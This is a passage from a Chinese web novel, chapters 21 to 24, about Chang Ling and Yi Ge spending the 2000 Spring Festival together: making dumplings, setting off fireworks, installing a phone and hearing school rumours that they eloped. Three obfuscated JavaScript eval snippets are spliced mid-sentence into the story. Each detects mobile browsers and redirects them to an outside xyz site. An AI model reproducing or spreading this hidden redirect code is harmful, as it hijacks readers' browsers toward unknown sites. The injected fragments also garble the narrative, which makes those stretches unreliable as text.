她一动,头发上未擦干的水顺着发梢不偏不倚滴在易阁胳膊上。昌灵自己没察觉,被滴到的人却不动声色往后仰了仰身体。 易阁:“你头发擦干点,别把水滴到地上。” “嗯?哦。” ** 确定易阁过年会和自己一起之后,昌灵心情好了不少,起码不用孤孤单单一个人。 虽然易阁本人也没多热闹。 年前最后一天的工作量比她想象中还要多,顾客多不说,打烊之后的盘点和打扫才是大头。货架上挂的、仓库里堆的、给客人留出来的、需要退换的,都要一一分类好。 昌灵年纪最小,爬高擦货架的活儿自然全落在她身上。一晚上踩着梯子仰着脖子干活,最后拿到手里的二百块巨额奖金她都觉得轻飘飘。 这都是我应得的。 回家的路上昌灵绕道又去了一趟天桥,明天就是大年三十,人不热闹,别的方面总得添点颜色吧。 “您好,福字多少钱一张?” 摊主十分热情:“小的便宜,大的贵,多买有优惠。” “行,我看看。”昌灵蹲下身体翻了翻底下的。 “我比别家都便宜,质量还好呢。”摊主自卖自夸道。 昌灵掰着指头数了数家里有几道门,如果都贴上要买几张。本着绝不浪费一毛钱的原则,她严格卡着门的数量买,只多买了一副对联。 想着如果易阁想贴对联的话,还能在这里面挑一挑。 抱着卷好的福字回家,楼道口已经有邻居贴好了崭新的福。昌灵看着高兴,脚步都轻快许多。 推开家门,率先映入眼帘的是一地通红的鞭炮。 昌灵大喜,扬声喊了一声易阁,“你怎么买这么多鞭炮呀。” 易阁甩着抹布从房间出来,懒洋洋道:“这还多?还给你买了点呲花在桌子上,你看看。” “天哪,你这么好!” 昌灵凑在桌子前爱不释手。 从前在家里,这些东西都是给弟弟放的,她好声好气哄着弟弟也最多只能摸到一两根。 易阁:“你可别恭维我,不敢当。” 昌灵笑得开心,半晌才注意到他手里的东西,问,“你是在打扫卫生?” “废话,要不我用抹布擦脸呢?沙发我都擦完了。” 昌灵懵懵地眨了眨眼睛。 她父亲是从来不干这些活的,也不会刷碗。他总说这些都是女人该做的事,母亲和嫂子也是这样做的。 可易阁好像不太一样。 21. 2000 大年三十这天,昌灵是被小区里的小孩撒欢扔甩炮的声音吵醒的。 睁眼时易阁的房间门还关着,半点声音也无。昌灵忍不住想,睡眠质量真好。 她伸了个懒腰走到阳台上,夜晚结得霜已经开始融化了,水汽顺着玻璃往下滑。昌灵伸手抹了两下,阳光就从她手指划过的地方照进来。 是冬天的味道。 昌灵心情很好。 她快速洗漱完毕后从沙发底下拖出来自己的编织袋,把临走前母亲新给她织的红毛衣翻出来穿好。又从昨天带回来的包里拿出来一条新的牛仔裤,店里清仓便宜卖的。 但昨天晚上她把这事儿忘了,新裤子应该先过一遍水,不然总有一股奇怪的味道。但现在洗的话,最起码今天是穿不了了。 那不行。 昌灵没怎么犹豫就把裤子套上,心道反正又不是贴身的裤子,穿过再洗也一样。 家里没有店里那种大镜子,只有一个手持的小圆镜。她把镜子立在墙边放好,自己一退再退,才勉强能在镜子里看全了腿。 水洗磨白的喇叭裤,还挺好看的。 片刻后昌灵把袋子推回沙发底下,捡回镜子仔细端详了一会儿自己的脸。齐刘海剪到了眼睛上方,不会挡住视线,但眼底有些发乌,大概是没有休息好。头发长长了一些,已经过了锁骨,现在不会再有奶奶逼着她剪头发卖钱,所以昌灵想把头发再留长一点。 最近店里好多时髦的顾客都烫了大波浪,如果不是过年期间价格太贵,她也想去烫一个,那个是真好看。 但太奢侈了,好的美发店至少要花半个月的工资。 昌灵对着镜子笑笑,暂时还是不要想那些没谱的事了。 时间过了十点,见易阁还没有要起的意思,昌灵揣了点零钱自己出了门。也不是想特意买什么,主要就是逛逛。住在三九八小一个月了,她都没好好看看周围的环境。 今天有太阳,气温不算低,昌灵就没拉棉袄的拉链,一路哼着歌下楼梯。伴着外面断断续续的炮仗声,她迎来了今年的第一声‘新年好’。 ——但昌灵不认识对方。 二十来岁的年轻人,拎着一个小红盒子。她往下,那人往上,应当是邻居吧。 昌灵反应很快,立马笑着回他新年好。擦肩而过时,那人突然哎了一声,问她:“你是住在这栋楼里吗?” 昌灵点点头:“怎么了?” “害,没事没事。”那人不太好意思似的摸了摸自己的后脑勺,说:“你,你先忙。” 昌灵不明所以,又笑了下才往下走。她刚拐过一楼,头顶上顿时响起了噔噔噔的踏步声,震得楼道里都能听见回声。 跑什么。 昌灵顺着楼梯的缝隙往上扫了一眼,这人哪家的啊,不知道的还以为被狗撵了呢。 ** 易阁躲过了清晨邻居家的年货鸡叫,躲过了小区里小孩的鞭炮,没躲过门口咚咚咚不间断的敲门声。 他有些烦躁地掀开被子,路过沙发时小声嘟囔道:“出门怎么不带钥匙啊。” 咚咚咚—— “易工?易工你在家吗?” “……”易阁微不可察地皱了下眉,抓了两把炸毛的头发才上前打开了门。 “太好了你在家!”门外的岳金平呲着牙笑道,“易工你这是还没起呢?那我打扰你啦?” “……没有。”他能好意思说有吗。 易阁堵在门口没让人进来,问他:“你怎么来了?你怎么知道我住这?” 岳金平还是笑,解释道:“我去问的办公室的同事。这不是新年了嘛,过来给你送点年货,也谢谢你上次没记我的名。” 易阁垂眸看见他手里的礼盒,价格恐怕比记名扣的钱还多,心里叹气。 轮岗结束之后单位给他安排了一个办公室打杂的岗位,平时记记同事的考勤和违规,检查车间的设备,还有零部件、车床的入库和装车。 陈工跟他说这个岗位自己没出什么力,全靠轮岗期间易阁自己表现出众,让他好好干。 易阁一开始还觉得是他能力强,白捡了便宜,兢兢业业干了好几天,直到被记违规的同事堵在办公室门口,听他哭诉说“如果被记名他过年的奖金就没了”时才察觉出不对劲。 这工作相比下车间来说身体上是轻松的,可人情这方面累得是精神。尤其是他这种刚进厂的新人,记与不记不全是他能说了算的,稍有不慎就会得罪人。 岳金平迟到也不是他要放过的。是易阁之前的班长找过来,说就迟到了一分钟不碍事,让他别那么较真儿。 “我跟你说过好几次了,这事跟我没关系,你要谢也谢不着我。” “怎么谢不着。”岳金平说,“那不管我找谁最后不还是你说了算吗。” 我算个锤子。 大过年的易阁懒得和他掰扯,只说:“东西拿回去吧,我收不了,以后没什么事也别来家里找我了。” “别啊易工,交个朋友嘛,以后在厂子里也能互相照顾。” 易阁:“交朋友可以,东西就免了,挺贵的,大过年的带回去孝敬你爸妈吧。” 岳金平见他确实没有要收的意思也没勉强,“那行,东西我就带回去了,新年好啊易工,也祝家里人都新年好,身体健康。” “谢谢,你也新年好,回吧。”说完易阁就要关门。 “哎——等等等等。”岳金平急忙把手挡在门缝中间,腼腆地笑笑,“那个,我还有个事想问问。” “说。” 岳金平挠挠头,认真地说:“你们楼里是不是住着个挺漂亮的女孩,身高到我耳朵这,齐刘海大眼睛,白白瘦瘦的,看起来跟咱年纪差不多大,易工你认识吗?” 易阁闻言眯了眯眼睛,听这个描述,怎么那么像昌灵。 “你问这个干嘛?” “我刚上楼碰见她,没好意思问人家名字,你要是认识能不能给我牵个线儿,介绍介绍?” “哦。”易阁面无表情道,“没见过,不认识。” ** 白白瘦瘦的齐刘海大眼睛是在岳金平走后一个小时回来的。 易阁叼着块钙奶饼干看她大包小包的进门,好奇地问这都是买了些什么。 昌灵把东西放到桌子上,神秘兮兮地展示给他看,“锵锵——” 易阁配合地把脑袋伸过去,“面粉?” “还有这!” “大白菜?肉?” 昌灵笑着把外套搭在衣架上,“本来没想买的,结果卖猪肉的师傅着急卖完回家,最后这一块别人都嫌太小不够吃,我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535016|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着咱们就两个人,这点也够了。 “但我也没敢买太多白菜,这里不比村里有院子,露天放着一个月都坏不了。 “就当是谢谢你昨天给我买呲花。” 易阁眨眨眼,不太确定地问:“你要包饺子啊?” 昌灵给了他一个‘要不然呢’的眼神。 “你会吗?” 昌灵:“……” 易阁自觉说错了话,悻悻闭了嘴。昌灵也没跟他计较,说:“今天晚上要不要守岁?等子时再吃年夜饭?” “要吧。”易阁想了想,“我们可以等天黑了就下楼放鞭炮,放完再上来煮水饺。” “好!”昌灵兴奋地举手道。 至于这么开心吗,易阁想。 他清清嗓子:“但先说好了啊,我最多帮你剁剁菜,我可不会包。” “擀面皮也不会吗?” 会,但易阁故意说“不会”。 昌灵眼睛眨啊眨的,认真道:“没事,很简单的,不会我可以教你。” 易阁扯了扯嘴角,有点想笑。 自从离开西乡,昌灵确实变了不少,长得漂亮性格好,怪不得岳金平见一面就想认识她。看昌灵在家里欢腾着撕胶带粘福字,易阁又恍然想到,或许她其实一直都是这样。 只不过是从前在家里过得太压抑罢了。 “易阁,你过来看看我贴正了没有?”昌灵扬声招呼他道。 易阁懒洋洋地起身走过去,看也没看就说“歪了”。 “歪了吗,往哪歪?” “往东偏一点。” “东?哪是东?” “你不分东南西北啊?” “……你就说左右不行吗?” “那往左。” 昌灵挪完盯着手里的福字定定看了片刻,回头疑惑地看着他,“这不是更歪了吗,你是斜眼儿吗?” 易阁没忍住偏过头笑。 昌灵蓦地反应过来:“好啊你蒙我呢?!” 等易阁笑够了,才说,“晚上包饺子的话,中午饭我做吧,你想吃什么?” 昌灵撇撇嘴,家里什么都没有,我想吃什么你还能给我变出来不成? “你能做什么?”她问道。 “我看你买了大葱,葱油拌面行不行?” 昌灵闻言从马扎上蹦下来,跟着易阁往厨房走,“你会炸葱油?” 易阁啊了一声。 “那多炸一点吧,存在碗里平时吃也方便。”昌灵说,“怕坏的话,不行就套个塑料袋放窗外。” 易阁:“掉下去砸到人怎么办?” “那就把那个奶盒剪一剪,拴在窗上再放。” “下雨下雪淋湿了怎么办?” “……”昌灵没招了,“那你说怎么办?” 易阁把葱撕了皮洗干净,沉默着切成小段。 昌灵等了半天都没听到回答,抬手戳了下易阁的肩膀,“问你话呢,怎么又不吱声了。” 装什么哑巴。 “别戳我。”易阁躲开她的手,说:“租这个房子的时候楼下还带了个柴房,我昨天看见里面有个小冰箱,很小啊。如果你想用,我就搬上来看看坏没坏,但每个月的电费肯定要涨。” “真的?”昌灵一拍手,“电费哪有冰箱重要!” 22. 2000 昌灵的包水饺大计差点夭折在第一步,千算万算,她没算到自己不会和面。 眼见着手掌快要糊成一个大面球,昌灵没忍住自嘲般哼了两声,自己怎么能蠢成这样。 易阁事不关己地抱臂倚在门框上说风凉话:“看有些人刚才的神情,我还真以为她会呢。” 昌灵听着臊得慌,抿着嘴全当耳旁风。 就在她准备再加点水试试的时候,被身后的易阁一把握住了手腕。 昌灵急忙挣开他,“……你干嘛。” “你怎么这么笨呐。” 昌灵张了张嘴,一时间没想到词反驳他。再说了,自己以前又没和过面,那万事不都开头难吗。 易阁:“就你这还在早点摊干活呢,老板这都没给你轰走,真是个大善人。” 搞得好像你会一样! 昌灵愤恨地咬着牙替自己辩解:“我不负责和面好吗……那些面点最重要的就是面,老板怎么可能让我干。” “没吃过猪肉还没见过猪跑吗。” 昌灵摆了摆自己的‘大面团’手,直抒胸臆道:“没见过。” “……” 易阁懒得跟她拌嘴,沉默着给昌灵撒着干面让她把手搓了出来,又接手了昌灵没干完的后续部分。看他熟练地倒水揉面,昌灵眨了眨眼,这人刚才不是还说自己不会吗。 “你又骗我?” 易阁瞥了她一眼没接话,片刻后才说:“你能不能不杵在这了,剁剁菜切切肉不行吗?” 昌灵摇摇头,“不行,我太笨了,想亲眼看看猪到底怎么跑。” 易阁听完眉头紧锁难以置信地看向她,这个人的胆子是不是变得太大了? 一点儿都不怕他,和从前判若两人,无法无天了啊。 昌灵回望着易阁无辜地耸耸肩,语气天真地问:“你怎么了?看我干嘛?” “……” 易阁:说不过你。 和面不行,但调馅昌灵还是在行的。肉少,白菜也不能加太多,再说他们就两个人,也吃不了多少。 家里没有面板,只能在菜板上套个干净的塑料袋用。擀面杖也没买,昌灵在厨房寻摸了一圈,最后挑了根较为圆滑的胡萝卜。 齐活! 昌灵一趟趟欢快地把东西从厨房运到茶几上,最后一趟回来时,易阁正蹲在桌子前拎着那根胡萝卜仔细端详。 见她出来,有些疑惑地扭头问道:“这是干嘛的,要上贡啊?” 昌灵嗯嗯着点头,“对,上给你的。” 易阁眉头拧得更紧了。 昌灵忍着笑把馅料送到他面前,“闻闻,味道怎么样?” “还行。”易阁后退一步起身坐到马扎上,随口说:“看来你也不是什么都不会啊。” 昌灵轻哼一声,就当是在夸我了。 她把刀具、筷子、还有洗好的六枚硬币一一放好,又问易阁:“你是会擀面皮的对吧?” “昂,但你没发现我们没有擀面杖吗。” “发现了啊。”昌灵眼神示意他看向那根胡萝卜。 易阁顿了顿:“……啊?” ** 还没到八点,楼下就有鞭炮声开始陆陆续续响起来,噼里啪啦的。往年家里人多,串门的也多,邻居家有电视的放春晚的声音也大,看起来总是热热闹闹的,可昌灵就是觉得高兴不起来。 现下家里只有他们两个人,隔着楼板也听不见其他人家,自己偶尔说两句话,易阁也只会嗯嗯啊啊的瞎答应。 但她就是说不出的高兴。 昌灵来不及细究原因,因为易阁擀得太快,她稍一走神手边就要堆积成小面皮山。 圆圆的面皮捏在手里,昌灵心想,好像在做饭动手这方面,易阁比她更有天赋一点。 “以前在家过年,也是你包饺子吗?”昌灵犹豫许久,还是故作轻松地问出了那个她很想知道的问题。 她连‘如果易阁不想回答’这类情况都反复想了无数遍。易阁不想说也不要紧,大过年的开心最重要。 易阁不知道她心里的弯弯绕绕,没什么情绪地说:“一般都是我,我爸除了会给人看病,其他方面一塌糊涂。” “那……”你妈呢? 后半句话不需要昌灵说完,两个人都心知肚明。易阁擀完最后一张面皮,双手一摊坦然道:“我妈的病更是什么都干不了,她能消停着不闹乱子就谢天谢地了。” 这样啊。 昌灵手指捻了捻面粉,半晌轻声问:“所以她是不认人吗?见人就打?” “不知道。” “不知道?” 易阁咧开嘴嘲讽地笑笑,“按理说是不认人的。她不出门,是不是见人就打我不知道。但她在家里,就只打我,从来不打我爸。” 昌灵一愣,下意识呆呆地问为什么。 “你别说,我也想知道为什么。一个精神病人,为什么能精准确定自己的动手对象。” 后来包饺子的收尾阶段,沉默的人变成了昌灵。倒也不是多心疼易阁,就是觉得他们这些小孩过得都挺不容易的。 谁也没比谁好到哪里去。 眼下就是抱团取暖的具像化。 她没忍住叹了口气。 此声一出易阁拿杯子的手一僵,他忽然意识到,大过年的是不是不应该跟昌灵讲这些,给她平添烦恼。 “那个。”他轻咳一声,“是不是快包完了?我们赶紧下去放鞭炮吧。” “嗯!”昌灵重重点了下头。 ** 楼下早已聚集了一批大人和小孩儿,各个穿得喜气洋洋。昌灵拢了下自己的旧棉袄,好在是保暖的。 易阁让她抱着呲花等在这儿,自己去柴房搬‘窜天猴’。昌灵不应,非要一起去。 “里面没灯,你跟过来还碍事绊脚的。” 昌灵撇撇嘴,“我能碍什么事,我就看一眼冰箱。” “我说了很小。” “能有多……”借着楼道的灯,昌灵看清了柴房角落里默默站立的冰箱轮廓,“……还真是小。”她讷讷补充道。 易阁:“看清了就出去等着,等送了年我再把它搬上去。” 昌灵揣着手站在门口,目测那台冰箱顶多到她胸口那么高,挤在角落里就一丁点儿大,和她在商场看见的那些都不一样。 有些许失望。 “怎么,看不上?”易阁把窜天猴放在昌灵脚边,看她脸色不好,出声问道。 昌灵:“我有什么资格看不上,商场那些冰箱都要几千块,我用这个就挺好。” 易阁锁好门将两个箱子摞在一起,招呼她往外走。 又叮嘱道:“一会儿我点火,你站远点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535017|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昌灵伸手摸了摸花里胡哨的烟花外箱,小声问:“让我点不行吗?” 托易阁的福,她在千禧年的开头看了两场难忘的烟火。第一次是在逃离家乡的火车上,烟花隔着玻璃升空,炸裂在麦田的另一端,遥不可及。 第二次,是在她和易阁的家楼下,一个邻里和睦的小区里。昌灵亲手点燃了烟花的引线,在周围小孩的欢呼声里,她切身体会了一场转瞬即逝的绚烂。 “易阁,你看!”昌灵回身朝易阁招招手,眼睛里闪烁着无法遮掩的喜悦。 今夜,易阁眼底映着昌灵不同以往的笑容。 片刻后他低头点了两根呲花,分给了身边‘嗷嗷待哺’的小孩,并嘱咐他们小心手。 小孩的家长就在附近,闻声走过来摸了摸孩子的后脑勺,说:“哥哥送你小烟花玩儿,你要跟哥哥说什么?” 小孩很聪明,立马回答:“谢谢哥哥,哥哥过年好!” 易阁微微勾了下唇角,回他“过年好”。 前头昌灵看够了烟花欢脱地往回跑,见易阁身边围了一圈小孩,心情顿时下了两个度。 那群小孩还在叽叽喳喳吵嚷着,哥哥你还有那么多,再分给我们一点嘛。 她如果现在走过去说不想给,是不是太小气了? 没等昌灵纠结完到底要不要开口,易阁就注意到了来人,继而拍拍小孩们的肩膀,“行了,这些都是那个姐姐的,不能分给你们了。” “啊——”现场响起了一片小朋友们的哀嚎。 昌灵闻言有些无措地愣在了原地,他…… “姐姐,你有这么多烟花,好羡慕你呀。”小孩回头对她说道。 昌灵抿着嘴,半晌才轻声说:“没关系,你们想要以后也会有的。” 2000年大年三十的晚上,易阁买的一大把呲花,昌灵完完整整放完了全部。 ** 白白胖胖的水饺飘满了炒锅。昌灵捞出一个吹了吹,喊易阁过来尝尝: “怎么样?” 易阁嚼着滚烫的水饺,含糊不清地说:“挺,嘶嘶,好。” 蛇吐信子一样。 “熟了吗?我看都飘起来了。” 易阁:“……” 合着不是让我尝味道啊。 他深吸一口气,“熟了,盛出来吧。” 昌灵盛满两盘后把高温的手指捏在耳垂上,思索片刻后一本正经说道:“要不我们去买一幅财神图挂在厨房吧,这样祭拜啊,祈福啊,许愿啊,都能方便一点。” 易阁觉得浪费钱,“人家都是请神像进家门,我们买张画,那不成糊弄鬼了吗?” 昌灵:“……财神是神。” “有区别吗?” “神不会跟我们计较这些的。” “哦。”易阁认同地点点头,“那你买吧。” 昌灵决定外面摊子一开业就去挑选一张。 水饺端上桌,时间已经接近午夜十二点。 易阁把先前买的两瓶挡不住倒进杯子里,认真又郑重地跟昌灵说了一句‘过年好’。 昌灵鼻头酸得紧,好悬落下泪来,她慌忙低下头吃水饺。 伴随着食物热气腾腾的白雾,在物体砸到碗面的清脆声中,昌灵咬到了今年的第一枚硬币。 易阁挑了下眉头,笑着开口:“开门红,好兆头啊昌灵。” 23. 2000 自从年后开业,店里的营业额跳水式下滑,几个同事每天上班都闲到恨不得一个货架擦三遍,就为了自己看起来有点事干。 但明眼人谁看不出来到底是真忙还是装忙。 老板在店里坐了一下午,非常不满意。临下班时拿笔敲了敲货架,严肃道:“来,大家手头的事先放一放,都过来。” 就知道老板憋不了多久。 昌灵心里叹气,扔下手里擦了两遍玻璃却依旧很干净的抹布,慢吞吞站在了几个同事后面。 “咱们店里这几天,什么情况你们心里都清楚,我就是想说,再这样下去是不行的。” 昌灵盯着自己的脚尖,心说当然清楚,这纯粹是年前她们下班之后还出去摆摊惹出来的祸。 那时候踩着过年的东风,店里的顾客本来就多,要不是大家想一鼓作气多赚点好好回家过年,也不至于下班之后还自愿加班。 现在好了,这几天赚得钱加起来都没年前一天多,老板心里能舒服吗。 果不其然,老板装模作样说了一堆场面话之后,语重心长地说:“再这样下去是不行的,我赚不到钱事小,到你们手里的工资只有那么一点才是让我最难过的啊。” 昌灵撇了下嘴,资本家的嘴脸,真虚伪。 “现在进店的客人少了,主要是过完年大家都觉得手里的钱不宽裕,需要缓缓。但是,客人不进店,我们就要灵活选择其他方式对不对? “比如,我们去他们上下班的路上等着。你们想,如果你工作忙碌了一天,一下班就能看见一件漂亮实惠的小衫,会不会想着犒劳一下自己?” 几个同事零零散散地敷衍说“是”。 老板也没继续拐弯抹角,说:“那咱们下了班再出去摆摊试试?” 众人闻言都面面相觑。 “这,这不成加班了吗?”片刻后有人小声说道。 老板啧了一声,“这话说的就不太好听了啊,我这可是为了你们着想,那出来上班不都是为了赚钱吗,你们还能有钱不赚?” 昌灵心道,冠冕堂皇。 王姐憋了半晌,勉强挤出了个笑容,说:“老板,也不是我诚心找借口,那我孩子还小,我下班还得做饭带孩子,实在没空呀。” “你男人不是有时间吗?” “男人怎么指望得上,就过年前让他带了几天,孩子磕了好几下呢。” 昌灵不着边际地想,原来男人都指望不上。 最后几个人跟老板讨论、拉扯了半天,决定每天两个人轮流出去摆摊,从明天开始执行。 “小灵。”出了店门,王姐一路小跑着追上昌灵,气喘吁吁道:“我有点事想跟你商量商量。” “哎,姐你说。”昌灵垂眸没看她,心里多少有点谱。 “你也知道的,我孩子还小,他爸那个德行又靠不住,晚上是真离不了我。” 昌灵笑笑不说话。 “那个。”王姐说,“你看能不能,明天替替我?” “替你?” “对,反正你下了班也没什么事情对吧。” “……”昌灵静默片刻,淡淡地说:“不合适吧姐。” 王姐:“这有什么不合适?” “明天替你一天,可以。”昌灵顿了下,继续说,“但咱们店里就这几个人,来回搭伙一个人最多也就能空两天,我能替你几回呢? “你也不会想说让我天天替你吧? “姐。” 王姐被她说的脸上挂不住,跺了跺脚,说自己先走了。 昌灵望着她臃肿的背影,心里有些不得劲儿。拒绝的话没有想象中那么难以说出口,但说完之后呢?王姐对她,还能像从前那样心无芥蒂吗? 昌灵踢了踢脚边的小石子,其实她也不是不能替,毕竟自己确实没有孩子要养,但…… 也不知道这样做是不是对的。 ** 昌灵走到楼下时,对门的马姐正在撸着袖子杀鸡,滚烫的开水泼在地面上,激起了一片白气。 她被吓了一跳,愣在原地。 马姐抬了下头跟她打招呼:“哎小昌,下班啦。” “哎。”昌灵僵硬地点点头,犹豫着问:“姐,怎么,亲自动手杀鸡啊……” “这不还没过十五,那市场杀鸡还得加钱,又不难,我自己就能干。” 昌灵:“是吗……真厉害。” “哎呀你就是年纪小,这很简单的,我可以教你。” 昌灵摆摆手说不了不了,“我害怕这些。” “那行,你要是以后需要杀鸡,尽管来敲门。” “哎……”昌灵不着痕迹地皱了下眉,鼻腔里充斥着浓郁的血腥味,闻着恶心。 她艰难道:“姐,我先上去了。” “去吧——”马姐的语调拐了个弯,又说:“哎对了小昌,我看网通公司下午过来安电话了,你们家也安完了吧?” “啊?是吗?”昌灵面露喜色,“今天都初十了呀,我这几天瞎忙都忙忘了。” “快回去看看吧。”马姐说着随手把鸡的内脏掏出来。 昌灵忍着想干呕的冲动,忙不迭逃了。 她和固定电话的距离,只剩下三层楼。顾不得杀鸡现场制造的不适感,昌灵用生平最快的速度跑上楼。 之前在西乡,只有村口一台电话。 谁家里都没有。 “易阁,易阁。” 请了半天假的易阁正趴在桌子上啃着饼干写表格,未见昌灵人,先听见她的呼喊声。 “干嘛。”易阁皱了皱眉,沉声问道。 “我听她们说,电话装好了?”昌灵关上门兴冲冲跑进来,拖鞋都没来得及换。 易阁抬眸扫了一眼她的鞋,没说话,指了指沙发旁边的小柜子,“放那了。” “啊!” 昌灵转身凑过去仔细瞧,小心翼翼地伸手摸了摸电话的按钮,片刻后情不自禁笑了起来,“真好,真好看。” 易阁笔尖不停,一心二用地跟她聊天,“安装的师傅就带了两个颜色,还有个白的,我想着红色喜庆,就要的这个。” 昌灵附和道:“正月就是要喜庆的。” 她围着电话一刻钟,左看右看满意得不得了。易阁抽空瞥了她一眼,觉得好笑,“有什么好看的啊,又不是没见过。” 昌灵:“这跟外面的能一样吗。” “能打电话就行,怎么不一样。” “你不懂。”昌灵懒得跟他争论。 “这么稀罕,你不打个电话试试?” 昌灵一愣,语气里掺杂着些许遗憾:“我又没什么可以联系的人。” 易阁写字的手一顿,拧着眉不知道说什么好。好像没听昌灵提过她有什么朋友,至于家里,更是不可能打电话的。 他又想叹气了,真麻烦。 不过昌灵心态调整得很快,颇为期待地说:“虽然我打不了,但你可以吧?你朋友不是很多吗?” 易阁扣上笔盖,“你听谁说的?” “猜的,没有吗?” 有倒是有。 毕小伟家里是有电话的。 偏偏他还真知道号码。 昌灵:“嗯?” 易阁抓了抓头发,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535018|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他联系一下也不是不行,顺便打听一下家里什么情况。 见易阁坐到电话旁边,昌灵忙搬了马扎跟着坐好。 易阁往后挪了挪身体,问她:“你干嘛,偷听啊?” 昌灵一脸无辜:“不是啊,我不能听吗?” “……听也不用凑这么近,可以免提。” “免提?” “啊。” 易阁按下右下角的免提键,又快速按了几个数字,嘟嘟声清晰地从扩音喇叭里传出来。昌灵在一旁托着腮翘首以盼。 “喂?” 听到人声的第一瞬,昌灵眯了下眼睛。这个说话的语气,她好像在哪里听过。 “谁啊?”电话里的人问。 “我。”易阁说。 “……我靠,谁?!”片刻后那人激动道,“三哥?是你吗!” 易阁:“……” 昌灵抿了下嘴,三哥,好久没听到这个称呼了。 “三哥?说话啊三哥!” “小点声!”易阁面露嫌弃,“你家里没人吗?” “没有,他们都没回来呢。”电话那头抱怨道,“三哥,这几个月你去哪了啊,怎么也不跟我联系。” “你不是说让我别跟你联系吗。” 昌灵闻言眨眨眼,这才想起来,这道声音是那天巷子里打架的人。 “那你就真的不联系啊?我都怕你出什么事了!” “我能出什么事。”易阁问,“家里还好吧?” “我靠!你不说我都忘了!”电话线都没能减弱对面语气里的激动,只听他说:“哥,你是不是跟隔壁班的昌灵私奔了啊?!” ? 易阁疑惑地看向昌灵。 昌灵先是一愣,反应过来后默默转开了头。完了,居然忘了这一茬。 易阁没搞清楚什么情况,视线落在昌灵身上,问毕小伟:“你听谁说的?” “那就是真的了?你怎么不早告诉我,还是不是兄弟了。” 易阁有些烦躁,“我问你听谁说的。” “学校里都传开了,一开始你们俩都没去上学,大家还没太在意。后来昌灵她家里人去学校里闹,哎呦你是不知道她那个奶奶——” “我奶奶干嘛了?!” “……” 昌灵的话音如平地惊雷,一时间三个人之间只剩下了呼吸声。 她说完才意识到自己不应该插嘴,有些抱歉地看着易阁。 ——后者更烦躁了。 还是毕小伟最先打破了沉默:“三哥……刚才说话的是昌灵吗?” 易阁闭上眼掐了掐眉心,“问你呢,她奶奶怎么了。” 毕小伟语气夸张地说:“在学校里撒泼打滚,逮着个老师就破口大骂,谁要是敢动她,她就喊学校要打人了,非要老师给她个说法。” 昌灵听到一半深感无地自容,咬紧了后槽牙。 易阁看见她嘴唇都因过分用力而颤抖,问:“然后呢?” “然后闹了好几天,最后不知道谁劝回去的,反正我是没见过那么不讲理又不要脸的老太太。 “呃不是,那个昌……你别生气哈。” 昌灵别开脸说不出话。 “那谁说的我和昌灵?她家里人不知道?” “不知道吧,她奶奶走了之后,才听昌灵的同桌说,昌灵一直在跟你搞对象,这回肯定是跟你跑了。” “昌灵的同桌?” “啊,她同桌说昌灵亲口说的,她是你对象。” 话落的一瞬间,昌灵面色涨红,双手紧紧绞在一起,恨不得立刻从楼上跳下去。 24. 2000 看当事人畏畏缩缩一副鹌鹑样,不用想也知道是谁造的谣。 易阁有些无语,皱着眉问毕小伟:“除了学校的事,我家里怎么样?我爸没找你?” “找了一回,我说我不知道,易叔再没说什么就走了,没生气没发火,也没去你学校里闹。” 看来他爸是不准备管他了,易阁听完心里多少有点不是滋味儿。不管出于什么目的,起码昌灵家里人还知道找她,自己反倒是真的无人在意。 “哎。”他沉默片刻,喊了昌灵一声,“你没有什么要问他的了?” 昌灵没敢看他,想了想小声说:“请问,你还有听说我家里什么事吗?” “你家里?”毕小伟思索了一会儿,脱口而出道:“你是想问你未婚夫家?” 昌灵:“……” 易阁不耐烦地啧了一声。 “哦不是,我说错了。”毕小伟嘿嘿笑着,“那个,咱姐夫家是吧?” 什么咱姐夫,昌灵想,这个人说话真是莫名其妙。 但她面上语气很好,“你有听说他们家去没去我家闹吗?我妈她,没事吧?” 毕小伟:“这我还真没听说,我之前以为她们传你和三哥的事是谣言呢,根本没关心你家的事儿。” 昌灵抬手捂着半边脸,“……确实是谣言。” 不过她离电话有一定的距离,声音又不算大,毕小伟好像没听见。只听他说:“不过我可以去打听打听,有什么消息再告诉你。” “那麻烦你了。”昌灵说。 “顺手的事儿。不过我怎么联系你们?这是谁的电话?” 易阁:“我家的。” “哦。”毕小伟停顿片刻,问:“你俩住一块儿了?” “不……” “不用你管,你也别跟他们提我的事,我最近不加班,六点以后打这个电话都行,但没什么事也别打。”易阁打断了昌灵想解释的话。 “行,那我打听明白了再给你们打。” “没什么事挂了,电话费要钱的。” 